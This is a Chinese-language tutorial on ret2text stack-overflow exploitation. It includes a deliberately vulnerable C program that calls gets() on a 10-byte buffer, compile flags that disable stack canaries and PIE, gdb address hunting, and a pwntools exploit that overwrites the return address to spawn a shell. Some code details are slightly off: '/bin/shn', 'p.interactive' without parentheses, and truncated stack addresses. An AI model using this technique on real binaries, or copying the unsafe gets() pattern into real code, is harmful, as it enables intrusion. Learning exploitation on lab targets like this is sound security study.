栈溢出之ret2text

前言

目前栈溢出漏洞主要的利用方式是ROP(Return Oriented Programming),即返回导向编程,通过栈溢出内容覆盖返回地址,使其跳转到我们想要执行恶意代码的位置中。而跳转的目标有可能是一段本就已经写好的可以执行恶意命令的函数,也有可能是某个全局变量空间,甚至构造一个系统调用的cpu指令,跳转到一个libc中的函数等。最终目的都是执行恶意命令,而未来几篇文章分别介绍采取上述不同的方法完成不同场景的ROP。

ret2text原理

先从ROP中最易于理解的ret2text讲起,ret2text顾名思义,即控制返回地址指向程序本身已有的的代码(.text)并执行。

题目描述

我们手动码一个带栈溢出问题的程序,这个程序有两个子函数func和sys,func中gets位置存在栈溢出,而sys函数未被任何函数调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
//ret2text.c
#include <stdlib.h>
int sys(){
system("/bin/shn");
}
int func(){
char a[10];
gets(a);
puts(a);
}
int main(){
func();
}

为了方便学习分析,这次先不加入canary机制和地址随机化问题的干扰,这些机制的绕过方式放在后面统一归纳总结。所以在gcc编译过程中加入参数使其关闭这两个保护机制,并打开-g调试选项,使用如下方式进行编译。

1
gcc -g -fno-stack-protector -no-pie -o ret2text64 ret2text.c

ROP过程

问题分析

首先我们将程序gdb中,使用checksec查看一下安全机制(虽然这个题目的安全机制我们已经提前知道)

我们分析一下这个程序,从ret2text的原理来看,我们需要覆盖通过func函数中的局部变量a的溢出,覆盖func函数的返回地址,将其引导到sys函数的地址就可以获取shell。

所以我们需要的信息有以下几点:
1.局部变量a的地址
2.func函数的返回地址
3.sys函数的地址

寻找信息

接下来就按照整理好的思路一步步获取信息
1.先查看代码,在第6行下个断点调试。

2.运行程序到func内,并打印局部变量a的地址,sys函数的地址,以及此时rbp的地址。

此时找到变量a的地址是0xffe2b6,rbp的地址是0xffe2c0,sys函数的地址是0x401142。

我们需要的三个信息已经得到两个,最后剩下的func函数返回地址,在64位程序中,在rbp之后8个字节,所以返回地址是rbp+8=0xffe2c8。

此时我们所有需要的信息都得到了,就可以开始构造我们的payload了。

pwn

首先分析payload构成,我们要填充局部变量a直到返回地址,然后再将后面八个字节的位置填充为sys函数的地址0x401142。

而这个偏移长度就是返回地址减去局部变量地址,得到0x12=18

所以payload可以通过pwntools构造为

payload = “A”*18+p64(0x401142)

然后写出exp:

1
2
3
4
5
6
from pwn import *
p = process("./ret2text64")
payload = "A"*18 + p64(0x401142)
p.sendline(payload)
p.interactive

执行exp即可获取shell